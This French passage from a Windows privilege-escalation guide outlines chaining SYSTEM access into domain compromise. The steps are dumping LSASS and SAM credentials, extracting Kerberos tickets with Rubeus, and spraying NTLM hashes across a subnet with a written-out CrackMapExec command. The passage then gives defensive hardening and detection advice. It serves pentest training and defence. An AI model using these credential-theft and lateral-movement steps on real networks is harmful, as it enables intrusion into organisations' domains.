Comment enchaîner l'escalade locale avec le mouvement latéral après avoir obtenu SYSTEM ?

Une fois SYSTEM obtenu sur une machine jointe au domaine, les étapes de pivot sont systématiques. Premièrement, extraire les credentials en mémoire (LSASS dump) et locaux (SAM) pour identifier les comptes domaine en cache et les administrateurs locaux. Deuxièmement, extraire les tickets Kerberos en cours (via Rubeus triage puis dump) pour identifier les sessions actives exploitables en pass-the-ticket. Troisièmement, tester les hash NTLM extraits sur les autres machines du réseau via CrackMapExec (crackmapexec smb 192.168.1.0/24 -u admin -H hash) pour identifier le réutilisation de mots de passe. Quatrièmement, si un Domain Admin est connecté à la machine, son ticket Kerberos TGT est extractible depuis la mémoire LSASS et réutilisable pour compromettre directement le Domain Controller. Cette chaîne escalade locale puis mouvement latéral puis escalade domaine est le parcours standard d'une compromission AD complète.

Conclusion et Recommandations Opérationnelles

L'escalade de privilèges Windows reste en 2026 une compétence fondamentale pour les pentesters, red teamers et analystes SOC. Malgré les avancées significatives des défenses Microsoft — Credential Guard isolant les secrets dans une enclave VBS, les ASR rules bloquant les comportements malveillants connus, Smart App Control limitant l'exécution de binaires non signés, et les EDR modernes surveillant chaque appel syscall — la complexité inhérente du modèle de sécurité Windows et la diversité des configurations en entreprise maintiennent une surface d'attaque considérable. GodPotato et CoercedPotato fonctionnent sur la quasi-totalité des systèmes avec SeImpersonatePrivilege. Les misconfigurations de services et les unquoted paths restent omniprésents dans les environnements non durcis. Les kernel exploits régulièrement découverts (plusieurs CVE critiques par trimestre dans win32k et CLFS) offrent des chemins d'escalade même sur les systèmes récents non patchés.

Pour les défenseurs, la priorité absolue est la réduction de surface d'attaque préventive plutôt que la seule détection réactive. Supprimer SeImpersonatePrivilege des comptes qui n'en ont pas besoin élimine la famille Potato entière. Corriger les chemins non quotés et les permissions de service prend quelques minutes par machine mais ferme des vecteurs majeurs. Activer Credential Guard et LSA Protection (RunAsPPL) rend l'extraction de credentials considérablement plus difficile. La désactivation du Print Spooler sur les serveurs qui n'impriment pas bloque PrintSpoofer et PrintNightmare simultanément. En matière de détection, le déploiement de Sysmon avec une configuration adaptée (comme la configuration modulaire de SwiftOnSecurity enrichie avec les règles Olaf Hartong) combiné à des règles Sigma dans le SIEM offre une visibilité sur la majorité des techniques documentées. La clé du succès défensif réside dans l'application systématique et automatisée de ces mesures via GPO, Intune ou des outils de configuration management, car une seule machine non durcie suffit à un attaquant pour prendre pied dans l'environnement.